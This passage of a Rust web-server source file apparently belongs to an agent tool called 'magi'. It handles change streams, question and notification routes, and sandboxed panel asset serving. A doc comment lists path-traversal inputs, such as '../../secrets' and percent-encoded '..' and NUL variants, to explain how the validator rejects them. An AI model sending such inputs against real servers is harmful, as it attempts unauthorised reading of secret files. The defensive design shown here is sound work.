6184                let stamps = [
6185                    store_stamps(state.queue.root(), false),
6186                    store_stamps(&state.runs, true),
6187                    store_stamps(state.talks.root(), false),
6188                ];
6189                let revisions = (
6190                    stamps_revision(&stamps[0]),
6191                    stamps_revision(&stamps[1]),
6192                    state.questions.revision(),
6193                    stamps_revision(&stamps[2]),
6194                    state.notices.revision(),
6195                    // The loop's counter is in-process state rather than a
6196                    // file, so nothing the three stats above look at would
6197                    // tell this phone that another one started the loop.
6198                    state.lock_loop().rev,
6199                );
6200                (revisions, stamps)
6201            })
6202            .await;
6203            let Ok((revisions, next_stamps)) = revisions else {
6204                break;
6205            };
6206            if last == Some(revisions) {
6207                continue;
6208            }
6209            let mut payload = serde_json::json!({
6210                "queue_rev": revisions.0,
6211                "runs_rev": revisions.1,
6212                "questions_rev": revisions.2,
6213                "talks_rev": revisions.3,
6214                "notifications_rev": revisions.4,
6215                "loop_rev": revisions.5,
6216            });
6217            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6218                for (index, (key, rev)) in [
6219                    ("queue_delta", base.0),
6220                    ("runs_delta", base.1),
6221                    ("talks_delta", base.3),
6222                ]
6223                .into_iter()
6224                .enumerate()
6225                {
6226                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6227                    // Empty diffs may mean a non-file dependency moved. Read whole.
6228                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6229                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
6230                    }
6231                }
6232            }
6233            last = Some(revisions);
6234            stamps = Some(next_stamps);
6235            // Giving up beats looping if the receiver is gone.
6236            let Ok(event) = Event::default().event("change").json_data(payload) else {
6237                break;
6238            };
6239            if tx.send(event).await.is_err() {
6240                break;
6241            }
6242        }
6243    });
6244    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6245        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6246}
6247
6248type Stamps = HashMap<String, (u128, u64)>;
6249
6250/// Metadata only: no task instructions or conversation bodies are read here.
6251fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6252    std::fs::read_dir(root)
6253        .into_iter()
6254        .flatten()
6255        .flatten()
6256        .filter_map(|entry| {
6257            let path = if runs {
6258                entry.path().join("run.json")
6259            } else {
6260                entry.path()
6261            };
6262            if !runs && path.extension().is_none_or(|ext| ext != "json") {
6263                return None;
6264            }
6265            let metadata = path.metadata().ok()?;
6266            let modified = metadata
6267                .modified()
6268                .ok()?
6269                .duration_since(std::time::UNIX_EPOCH)
6270                .ok()?;
6271            let id = if runs {
6272                entry.file_name().to_string_lossy().into_owned()
6273            } else {
6274                path.file_stem()?.to_string_lossy().into_owned()
6275            };
6276            Some((id, (modified.as_nanos(), metadata.len())))
6277        })
6278        .collect()
6279}
6280
6281#[derive(Debug, Serialize)]
6282struct Delta {
6283    base: u64,
6284    changed: Vec<String>,
6285    removed: Vec<String>,
6286}
6287
6288fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6289    let mut changed: Vec<_> = next
6290        .iter()
6291        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6292        .map(|(id, _)| id.clone())
6293        .collect();
6294    let mut removed: Vec<_> = previous
6295        .keys()
6296        .filter(|id| !next.contains_key(*id))
6297        .cloned()
6298        .collect();
6299    changed.sort_unstable();
6300    removed.sort_unstable();
6301    Delta {
6302        base,
6303        changed,
6304        removed,
6305    }
6306}
6307
6308/// Change detection token for recorded runs under `runs`.
6309///
6310/// Combines the id and `run.json` modification time of each run, so adding,
6311/// updating, or deleting any run — even an older one — moves the revision and
6312/// notifies connected clients via the change stream. Returns 0 when no runs
6313/// exist.
6314fn runs_revision(runs: &FsPath) -> u64 {
6315    stamps_revision(&store_stamps(runs, true))
6316}
6317
6318/// Opaque tokens use the exact metadata snapshot behind the delta, in both
6319/// health and SSE. Nanoseconds and length also detect same-millisecond writes
6320/// and deleting an older conversation (a newest-mtime token cannot do that).
6321fn stamps_revision(stamps: &Stamps) -> u64 {
6322    use std::hash::{Hash as _, Hasher as _};
6323    if stamps.is_empty() {
6324        return 0;
6325    }
6326    let mut entries: Vec<_> = stamps.iter().collect();
6327    entries.sort_unstable();
6328    let mut hasher = std::hash::DefaultHasher::new();
6329    entries.hash(&mut hasher);
6330    hasher.finish().max(1)
6331}
6332
6333/// Run ids under `runs`, newest first.
6334///
6335/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6336/// which reads the process-global home: the server has to be drivable against
6337/// a temp directory for any of this to be testable.
6338fn run_ids(runs: &FsPath) -> Vec<String> {
6339    let mut ids: Vec<String> = std::fs::read_dir(runs)
6340        .into_iter()
6341        .flatten()
6342        .flatten()
6343        .filter(|e| e.path().join("run.json").is_file())
6344        .map(|e| e.file_name().to_string_lossy().into_owned())
6345        .collect();
6346    // Ids start with a sortable timestamp.
6347    ids.sort_unstable_by(|a, b| b.cmp(a));
6348    ids
6349}
6350
6351/// Read one run's state from an explicit runs root.
6352fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6353    let path = runs.join(id).join("run.json");
6354    let body =
6355        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6356    let state: RunState =
6357        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6358    // The same migration `RunState::load` applies, so a record from the
6359    // previous schema reads here as it does everywhere else (an origin-less
6360    // run shows as "origin unknown") instead of vanishing from the phone the
6361    // moment the schema is bumped.
6362    run::migrate_schema(state)
6363}
6364
6365/// Runs on disk under `runs` whose state this build cannot parse - almost
6366/// always a schema bump, occasionally a run killed mid-write.
6367///
6368/// Exposed so every surface that reports on runs shares one count instead of
6369/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
6370/// `magi doctor` calls this directly rather than guessing at the same number
6371/// a second way.
6372#[must_use]
6373pub fn runs_unreadable(runs: &FsPath) -> usize {
6374    run_ids(runs)
6375        .into_iter()
6376        .filter(|id| read_run(runs, id).is_err())
6377        .count()
6378}
6379
6380/// Expand an id or short id to exactly one run id.
6381fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6382    if runs.join(id).join("run.json").is_file() {
6383        return Ok(id.to_owned());
6384    }
6385    pick(run_ids(runs), id, "run")
6386}
6387
6388/// Expand an id or short id to exactly one task id.
6389fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6390    if queue.path_of(id).is_file() {
6391        return Ok(id.to_owned());
6392    }
6393    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6394}
6395
6396/// A question as the phone reads it.
6397///
6398/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
6399/// text already parsed into a node tree so the client never runs its own
6400/// markdown reader over agent-authored prose. A relative image path in it
6401/// resolves against this question's own panel asset route, which is the one
6402/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
6403/// separate, sandboxed document, but `detail` is rendered inline in the
6404/// operator's own page, so an image reference in it may only ever point at
6405/// files magi itself already serves for this question.
6406#[derive(Debug, Serialize)]
6407struct QuestionView {
6408    #[serde(flatten)]
6409    question: Question,
6410    detail_md: Vec<md::Node>,
6411    posting_view: Option<PostingView>,
6412    /// Each thread turn's body, parsed; same order as `question.thread`.
6413    thread_bodies_md: Vec<Vec<md::Node>>,
6414    /// Each thread turn's deputy note, parsed (`None` for a turn without
6415    /// one); same order as `question.thread`.
6416    thread_notes_md: Vec<Option<Vec<md::Node>>>,
6417    /// Is the ball in the agent's court right now?
6418    ///
6419    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
6420    /// [`Question::say`] - so this is the one field that tells the phone to
6421    /// disable the answer controls and show "waiting for the agent" instead of
6422    /// a card the owner can act on. Computed rather than stored on
6423    /// [`Question`] itself, on the same reasoning as `waiting` on
6424    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
6425    /// it here means the client never has to re-derive that rule.
6426    waiting_on_agent: bool,
6427    /// Who is waiting on this open question - see [`holder_of`]. Separate
6428    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
6429    /// anyone is there to take it.
6430    holder: Option<&'static str>,
6431    /// Whether `magi serve` can start a follow-up agent for a conductor
6432    /// question at all: false when `daemon.max_deputies = 0` or the config is
6433    /// unreadable. Separate from `holder`, which says who is listening now.
6434    deputies_enabled: bool,
6435    /// All starts were spent and no live holder remains. Display-only: the
6436    /// final attempt increments `starts` before running under its lease.
6437    deputy_exhausted: bool,
6438    text_delivery: crate::question_delivery::Availability,
6439    /// `question.run` is a task id (conductor / triage questions), not a run
6440    /// id, so the UI links it to the task page.
6441    run_is_task: bool,
6442    /// The existing chat this question's task came from, including settled
6443    /// questions - see [`crate::consult::associated_talk`].
6444    origin_chat: Option<String>,
6445    /// `origin_chat` is closed; consulting reopens it first.
6446    origin_chat_closed: bool,
6447    /// Consultation eligibility is separate from navigation to the chat.
6448    can_consult_chat: bool,
6449}
6450
6451#[derive(Debug, Serialize)]
6452struct PostingView {
6453    before_md: Vec<md::Node>,
6454    after_md: Vec<md::Node>,
6455    fields: Vec<crate::github_text::ComparisonView>,
6456}
6457
6458fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6459    let comparison = question.posting_comparison.as_ref()?;
6460    if !comparison.matches_detail(&question.detail) {
6461        return None;
6462    }
6463    let mut ids = std::collections::BTreeSet::new();
6464    if comparison.fields.is_empty()
6465        || comparison
6466            .fields
6467            .iter()
6468            .flat_map(|f| &f.pairs)
6469            .any(|p| !ids.insert(p.id))
6470        || comparison
6471            .fields
6472            .iter()
6473            .flat_map(|f| &f.original_triggers)
6474            .any(|t| !ids.insert(t.id))
6475    {
6476        return None;
6477    }
6478    let fields = comparison
6479        .fields
6480        .iter()
6481        .map(|f| f.view(comparison.excerpt))
6482        .collect::<Option<Vec<_>>>()?;
6483    Some(PostingView {
6484        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6485        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6486        fields,
6487    })
6488}
6489
6490impl QuestionView {
6491    /// The view of `question`, reading who is waiting on it from `store`.
6492    ///
6493    /// `holder` needs the lease sidecar, which is why this is not a `From`.
6494    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6495        let base = md::ImageBase::QuestionPanel {
6496            id: question.id.clone(),
6497        };
6498        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6499        Self {
6500            detail_md: md::to_nodes(&question.detail, &base),
6501            posting_view: posting_view(&question, &base),
6502            thread_bodies_md: question
6503                .thread
6504                .iter()
6505                .map(|t| md::to_nodes(&t.body, &base))
6506                .collect(),
6507            thread_notes_md: question
6508                .thread
6509                .iter()
6510                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6511                .collect(),
6512            deputy_exhausted: store.deputy_exhausted(&question),
6513            waiting_on_agent: question.waiting_on_agent(),
6514            holder,
6515            deputies_enabled: deputies_enabled(cfg, &question),
6516            text_delivery: crate::question_delivery::availability(store, &question, cfg),
6517            run_is_task: question.run_names_task(),
6518            origin_chat: None,
6519            origin_chat_closed: false,
6520            can_consult_chat: false,
6521            question,
6522        }
6523    }
6524
6525    /// Fill `origin_chat` from the queue and the talks.
6526    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6527        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6528        self.can_consult_chat = consult.is_some();
6529        let talk =
6530            consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6531        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6532        self.origin_chat = talk.map(|t| t.id);
6533        self
6534    }
6535}
6536
6537/// The config this repository resolves, or `None` when it cannot be read.
6538/// Discovering is git processes plus a config render, so a request that needs
6539/// it for many items takes it once and passes it down.
6540fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6541    Config::discover(repo, None).ok().map(|(c, _)| c)
6542}
6543
6544/// Can `magi serve` start a deputy for this question under `cfg`?
6545fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6546    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6547}
6548
6549/// The views `GET /api/questions` answers. `load` runs at most once, however
6550/// many questions there are, and not at all when there are none.
6551fn question_views(
6552    qs: Vec<Question>,
6553    store: &ask::Questions,
6554    load: impl FnOnce() -> Option<Config>,
6555) -> Vec<QuestionView> {
6556    if qs.is_empty() {
6557        return Vec::new();
6558    }
6559    let cfg = load();
6560    qs.into_iter()
6561        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6562        .collect()
6563}
6564
6565/// Who is honestly waiting on an open question right now: `"asker"` (the
6566/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6567/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6568/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6569/// up, or the question never had anyone listening (a conductor question or a
6570/// merge approval from before deputies, or not yet given one).
6571///
6572/// `None` for a question that is settled, and for one that is not an agent's
6573/// to wait on at all (a release notice).
6574fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6575    if !q.status.open() {
6576        return None;
6577    }
6578    if q.cwd.is_none()
6579        && q.deputy.is_none()
6580        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6581    {
6582        return crate::deputy::kind_of(q).map(|_| "nobody");
6583    }
6584    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6585        Some(_) if q.deputy.is_some() => "deputy",
6586        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6587        Some(_) => "asker",
6588        None => "nobody",
6589    })
6590}
6591
6592/// `GET /api/questions`.
6593///
6594/// Everything, not just the open ones: an answered question is the record of a
6595/// decision, and the phone is where the operator goes back to check what they
6596/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6597async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6598    blocking(move || {
6599        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6600        Ok(Json(
6601            question_views(ui.questions.list(), &ui.questions, || {
6602                deputy_config(&ui.repo)
6603            })
6604            .into_iter()
6605            .map(|v| v.with_origin(&tasks, &talks))
6606            .collect(),
6607        ))
6608    })
6609    .await
6610}
6611
6612/// `GET /api/notifications`: not dismissed, newest first, with the unread
6613/// count so the badge and the list cannot disagree.
6614async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6615    blocking(move || {
6616        let items = ui.notices.list();
6617        let unread = items.iter().filter(|n| n.unread()).count();
6618        Ok(Json(
6619            serde_json::json!({ "unread": unread, "items": items }),
6620        ))
6621    })
6622    .await
6623}
6624
6625fn notice_error(e: anyhow::Error) -> ApiError {
6626    // An unknown or malformed id and a vanished file are the same answer to
6627    // the phone: that notification is gone.
6628    ApiError::not_found(format!("{e:#}"))
6629}
6630
6631/// `POST /api/notifications/{id}/read`.
6632async fn notification_read(
6633    State(ui): State<Arc<Ui>>,
6634    Path(id): Path<String>,
6635) -> ApiResult<Json<Notice>> {
6636    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6637}
6638
6639/// `POST /api/notifications/{id}/dismiss`.
6640async fn notification_dismiss(
6641    State(ui): State<Arc<Ui>>,
6642    Path(id): Path<String>,
6643) -> ApiResult<Json<Notice>> {
6644    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6645}
6646
6647/// `POST /api/notifications/read-all`.
6648async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6649    blocking(move || {
6650        let changed = ui.notices.mark_all_read()?;
6651        Ok(Json(serde_json::json!({ "marked": changed })))
6652    })
6653    .await
6654}
6655
6656/// The body of `POST /api/questions/{id}/answer`.
6657///
6658/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6659/// a bad request rather than a guess: an answer magi invented is worse than a
6660/// question left open.
6661#[derive(Debug, Default, Deserialize)]
6662#[serde(default, deny_unknown_fields)]
6663struct NewAnswer {
6664    choice: Option<String>,
6665    text: Option<String>,
6666}
6667
6668async fn question_answer(
6669    State(ui): State<Arc<Ui>>,
6670    Path(id): Path<String>,
6671    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6672) -> ApiResult<Json<QuestionView>> {
6673    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6674    let answer = match (body.choice, body.text) {
6675        (Some(c), None) => Answer::Choice(c),
6676        (None, Some(t)) => Answer::Text(t),
6677        (Some(_), Some(_)) => {
6678            return Err(ApiError::bad_request(
6679                "send either `choice` or `text`, not both",
6680            ));
6681        }
6682        (None, None) => {
6683            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6684        }
6685    };
6686
6687    blocking(move || {
6688        let id = resolve_question(&ui.questions, &id)?;
6689        let q = ui
6690            .questions
6691            .get(&id)
6692            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6693        if !q.status.open() {
6694            // Answered from the terminal, or by another phone, in between the
6695            // list and the tap. The UI shows the recorded answer rather than an
6696            // error, so it needs the record, not just the status.
6697            return Err(ApiError::conflict(format!(
6698                "question {} is already {}",
6699                q.short(),
6700                q.status.as_str()
6701            )));
6702        }
6703        // `Question::answer` owns the rules - an unoffered choice, free text on
6704        // a multiple-choice question, an empty reply - so the route does not
6705        // restate them and cannot drift from the CLI's behaviour.
6706        let cfg = deputy_config(&ui.repo);
6707        let (q, ()) = ui
6708            .questions
6709            .update(&q.id, |r| r.answer(answer))
6710            .map_err(ApiError::bad_request_from)?;
6711        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6712        Ok(Json(
6713            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6714        ))
6715    })
6716    .await
6717}
6718
6719/// A dedicated status avoids the client's settled-question 409 handling.
6720fn question_text_error(e: anyhow::Error) -> ApiError {
6721    let reason = e
6722        .downcast_ref::<crate::question_delivery::TextUnavailable>()
6723        .map(|e| e.reason);
6724    let error = ApiError::bad_request_from(e);
6725    if let Some(reason) = reason {
6726        ApiError {
6727            text_reason: Some(reason),
6728            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6729        }
6730    } else {
6731        error
6732    }
6733}
6734
6735/// The body of `POST /api/questions/{id}/say`.
6736#[derive(Debug, Deserialize)]
6737#[serde(deny_unknown_fields)]
6738struct NewSay {
6739    body: String,
6740}
6741
6742/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6743///
6744/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6745/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6746/// file, so there is no turn to serialize against and no
6747/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6748/// is a *different* process - the run parked behind `magi ask` - and picks
6749/// the reply up on its own poll of the very same file, same as an answer
6750/// does.
6751async fn question_say(
6752    State(ui): State<Arc<Ui>>,
6753    Path(id): Path<String>,
6754    body: std::result::Result<Json<NewSay>, JsonRejection>,
6755) -> ApiResult<Json<QuestionView>> {
6756    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6757    blocking(move || {
6758        let id = resolve_question(&ui.questions, &id)?;
6759        let q = ui
6760            .questions
6761            .get(&id)
6762            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6763        if !q.status.open() {
6764            // Same granularity as `question_answer`: answered or abandoned in
6765            // between the list and the tap is not this route's error to
6766            // explain any differently.
6767            return Err(ApiError::conflict(format!(
6768                "question {} is already {}",
6769                q.short(),
6770                q.status.as_str()
6771            )));
6772        }
6773        // `Question::say` owns the one rule that matters here - an empty
6774        // message tells the agent nothing - so the route does not restate it.
6775        let cfg = deputy_config(&ui.repo);
6776        let (q, ()) = ui
6777            .questions
6778            .update(&q.id, |r| {
6779                if body.body.trim().is_empty() {
6780                    return r.say(body.body);
6781                }
6782                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6783                r.say(body.body)
6784            })
6785            .map_err(question_text_error)?;
6786        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6787        Ok(Json(
6788            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6789        ))
6790    })
6791    .await
6792}
6793
6794/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6795/// came from. The question stays open: the chat agent answers it with `magi
6796/// answer`, or puts the decision to the owner in the conversation.
6797///
6798/// Answers 202 and runs the turn in the background, like every route that
6799/// spends agent calls. The text is queued as a draft of the existing talk, and
6800/// the turn goes through the talk's own gate and session; no seat or waiter is
6801/// started here.
6802async fn question_consult(
6803    State(ui): State<Arc<Ui>>,
6804    Path(id): Path<String>,
6805) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6806    let (view, reclaimed) = blocking({
6807        let ui = Arc::clone(&ui);
6808        move || {
6809            let id = resolve_question(&ui.questions, &id)?;
6810            let q = ui
6811                .questions
6812                .get(&id)
6813                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6814            if !q.status.open() {
6815                return Err(ApiError::conflict(format!(
6816                    "question {} is already {}",
6817                    q.short(),
6818                    q.status.as_str()
6819                )));
6820            }
6821            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6822            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6823                return Err(ApiError::conflict(format!(
6824                    "question {} has no chat to ask",
6825                    q.short()
6826                )));
6827            };
6828            // Read the config before `begin` saves anything: a failure here
6829            // must leave no consult record or draft behind, or a retry would
6830            // see `fresh == false` and never start the turn.
6831            let cfg = if q.consult.is_none() {
6832                Some(Config::discover(&talk.repo, None)?.0)
6833            } else {
6834                None
6835            };
6836            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6837            let claim = if fresh {
6838                match ui.begin_queued_talk_turn(&talk.id)? {
6839                    Some(turn_guard) => {
6840                        let talk = ui.talks.get(&talk.id)?;
6841                        let cfg = match cfg {
6842                            Some(cfg) => cfg,
6843                            None => Config::discover(&talk.repo, None)?.0,
6844                        };
6845                        Some((talk, cfg, turn_guard))
6846                    }
6847                    None => None,
6848                }
6849            } else {
6850                None
6851            };
6852            let q = ui.questions.get(&q.id)?;
6853            let cfg = deputy_config(&ui.repo);
6854            let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6855            Ok((view, claim))
6856        }
6857    })
6858    .await?;
6859    if let Some((talk, cfg, turn_guard)) = reclaimed {
6860        let talks = ui.talks.clone();
6861        let id = talk.id.clone();
6862        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6863    }
6864    Ok((StatusCode::ACCEPTED, Json(view)))
6865}
6866
6867/// Expand an id or short id to exactly one question id.
6868fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6869    if store.path_of(id).is_file() {
6870        return Ok(id.to_owned());
6871    }
6872    pick(
6873        store.list().into_iter().map(|q| q.id).collect(),
6874        id,
6875        "question",
6876    )
6877}
6878
6879/// `GET /api/questions/{id}/panel`.
6880///
6881/// The panel an agent wrote for this question, as `text/html` under
6882/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6883/// A question without one is a 404 rather than an empty page: the client
6884/// preflights this route with `HEAD` and must be able to tell "no panel" from
6885/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6886/// parent document so it cannot tell the difference by looking.
6887///
6888/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6889/// sanitises or minifies it - a sanitiser is a list of things someone thought
6890/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6891/// is the direction that stays safe when an agent writes markup nobody
6892/// predicted.
6893async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6894    blocking(move || {
6895        let id = resolve_question(&ui.questions, &id)?;
6896        let Some(html) = ui.questions.panel_html(&id) else {
6897            return Err(ApiError::not_found(format!("question {id} has no panel")));
6898        };
6899        Ok(panel_response(
6900            "text/html; charset=utf-8",
6901            false,
6902            html.into_bytes(),
6903        ))
6904    })
6905    .await
6906}
6907
6908/// `GET /api/questions/{id}/asset/{name}`.
6909///
6910/// One file from the question's own panel directory, so a panel can show a
6911/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6912/// having to allow anything off this machine.
6913///
6914/// This is the only route in the server where a client names a file, so it is
6915/// the only one with a traversal surface, and the name is checked by
6916/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6917/// what is worth being explicit about, because the answer is not "all of it in
6918/// one place":
6919///
6920/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6921///   the raw request path and `{name}` spans exactly one segment, so a real
6922///   slash makes the request too long for the route and the router answers 404.
6923/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6924///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6925///   `..\secrets` respectively, which look like plain filenames to the router.
6926///   The validator refuses them here - both for the literal `..` and because
6927///   `/` and `\` are not in the permitted character set - and answers 400.
6928/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6929///   the platform's path API is not, and it is refused here for the same
6930///   reason: NUL is not a permitted character.
6931/// * [`Questions::panel_asset`] validates again on read, so the check is not
6932///   load-bearing in only one place. This route's own check exists so the
6933///   failure is a 400 that says which name was wrong, rather than a store error
6934///   the operator has to interpret.
6935async fn question_asset(
6936    State(ui): State<Arc<Ui>>,
6937    Path((id, name)): Path<(String, String)>,
6938) -> ApiResult<Response> {
6939    // Before any filesystem work and before any path is built: a name this
6940    // server will not serve should not become a `PathBuf` at all.
6941    if !crate::ask::valid_asset_name(&name) {
6942        return Err(ApiError::bad_request(format!(
6943            "`{name}` is not a usable asset name"
6944        )));
6945    }
6946    blocking(move || {
6947        let id = resolve_question(&ui.questions, &id)?;
6948        let asset = ui
6949            .questions
6950            .panel_asset(&id, &name)
6951            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6952        let Some(bytes) = asset else {
6953            return Err(ApiError::not_found(format!(
6954                "question {id} has no asset `{name}`"
6955            )));
6956        };
6957        Ok(panel_response(
6958            asset_content_type(&name),
6959            is_svg(&name),
6960            bytes,
6961        ))
6962    })
6963    .await
6964}
6965
6966/// Content type for a panel asset, from a closed whitelist.
6967///
6968/// A whitelist with an `application/octet-stream` fallback rather than a
6969/// guess, because the one answer that must never come out of here is
6970/// `text/html`. An agent that writes `notes.html` into its panel directory and
6971/// links it would otherwise get its own markup rendered at the top level of the
6972/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6973/// magi's origin - which is precisely the thing the panel design exists to
6974/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6975///
6976/// `nosniff` accompanies this on every response, so a browser cannot decide it
6977/// knows better than the type we sent.
6978fn asset_content_type(name: &str) -> &'static str {
6979    match extension(name).as_deref() {
6980        Some("png") => "image/png",
6981        Some("jpg" | "jpeg") => "image/jpeg",
6982        Some("gif") => "image/gif",
6983        Some("webp") => "image/webp",
6984        Some("svg") => "image/svg+xml",
6985        Some("css") => "text/css; charset=utf-8",
6986        Some("txt") => "text/plain; charset=utf-8",
6987        _ => "application/octet-stream",
6988    }
6989}
6990
6991/// Is this an SVG, and therefore a file that must never be opened at the top
6992/// level?
6993fn is_svg(name: &str) -> bool {
6994    extension(name).as_deref() == Some("svg")
6995}
6996
6997/// Lowercased extension, or `None` for a name without one.
6998fn extension(name: &str) -> Option<String> {
6999    name.rsplit_once('.')
7000        .map(|(_, ext)| ext.to_ascii_lowercase())
7001}
7002
7003/// Every panel response, with the four headers that make it safe and, for an
7004/// SVG, a fifth.
7005///
7006/// One function rather than a header list per handler, because a panel route
7007/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7008/// model gone, silently, on one of two routes. Adding a third panel route later
7009/// means calling this, and there is nowhere else to build a panel response.
7010///
7011/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7012/// as an `<img src>` inside the panel that script cannot run - but the asset
7013/// URL is also a plain URL an operator can be talked into opening in a tab,
7014/// where it is a document on magi's own origin. `Content-Disposition:
7015/// attachment` makes the browser download it instead of rendering it, which
7016/// closes that door without taking away the ability to draw a diff. Raster
7017/// images have no such execution surface and are left inline, so tapping a
7018/// screenshot still shows it.
7019fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7020    let mut res = (
7021        [
7022            (header::CONTENT_TYPE, content_type),
7023            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7024            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7025            (header::REFERRER_POLICY, "no-referrer"),
7026        ],
7027        body,
7028    )
7029        .into_response();
7030    if download {
7031        res.headers_mut().insert(
7032            header::CONTENT_DISPOSITION,
7033            HeaderValue::from_static("attachment"),
7034        );
7035    }
7036    res
7037}
7038
7039/// A talk as the phone reads it.
7040///
7041/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7042/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7043/// parses markdown itself - and the process-local `thinking` hint.
7044#[derive(Debug, Serialize)]
7045struct TalkView {
7046    #[serde(flatten)]
7047    talk: Talk,
7048    turn_bodies_md: Vec<Vec<md::Node>>,
7049    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7050    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7051    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7052    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7053    /// this server process.
7054    ///
7055    /// This is deliberately not durable: another server process cannot see
7056    /// it, and a restarted server must not claim an old turn is live. It is a
